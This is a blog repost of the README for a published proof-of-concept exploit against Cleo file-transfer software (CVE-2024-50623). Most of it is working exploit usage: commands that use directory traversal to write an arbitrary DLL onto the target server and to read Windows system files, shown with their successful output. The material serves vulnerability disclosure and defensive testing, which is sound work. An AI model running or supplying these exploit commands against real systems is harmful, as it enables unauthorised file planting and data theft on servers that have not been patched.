> ## Content Index
> Fetch the complete content index at: https://darkwebinformer.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Cleo Unrestricted File Upload and Download PoC (CVE-2024-50623)
- URL: https://darkwebinformer.com/cleo-unrestricted-file-upload-and-download-poc-cve-2024-50623/
- Published: 2024-12-12T16:01:32.000Z
- Updated: 2025-09-04T22:25:01.000Z
- Author: Dark Web Informer
- Tags: Vulnerabilities, Tools

---

GitHub: <https://github.com/watchtowrlabs/CVE-2024-50623>

---

# CVE-2024-50623

[](https://github.com/watchtowrlabs/CVE-2024-50623#cve-2024-50623)

Cleo Unrestricted file upload and download PoC (CVE-2024-50623)

#### Arbitrary File Write

[](https://github.com/watchtowrlabs/CVE-2024-50623#arbitrary-file-write)

```
python CVE-2024-50623.py --target http://192.168.1.18:5080/Synchronization --action write --what poc.dll --where "..\..\..\..\poc.dll"
                         __         ___  ___________
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|
                                  \/          \/     \/

        CVE-2024-50623.py
        (*) Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)

          - Sonny and Sina Kheirkhah (@SinSinology) of watchTowr (sina@watchTowr.com)

        CVEs: [CVE-2024-50623]
[INFO] File written successfully

```

#### Arbitrary File Read

[](https://github.com/watchtowrlabs/CVE-2024-50623#arbitrary-file-read)

```
python CVE-2024-50623.py --target http://192.168.1.18:5080/Synchronization --action read --what CVE-2024-50623.py --where "..\..\windows\win.ini"
                         __         ___  ___________
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|
                                  \/          \/     \/

        CVE-2024-50623.py
        (*) Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)

          - Sonny and Sina Kheirkhah (@SinSinology) of watchTowr (sina@watchTowr.com)

        CVEs: [CVE-2024-50623]
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

```

# Exploit authors

[](https://github.com/watchtowrlabs/CVE-2024-50623#exploit-authors)

This exploit was written by Sonny and Sina Kheirkhah (@SinSinology) of [watchTowr (@watchtowrcyber)](https://twitter.com/watchtowrcyber)

# Follow [watchTowr](https://watchtowr.com/) Labs

[](https://github.com/watchtowrlabs/CVE-2024-50623#follow-watchtowr-labs)

For the latest security research follow the [watchTowr](https://watchtowr.com/) Labs Team

- <https://labs.watchtowr.com/>
- <https://x.com/watchtowrcyber>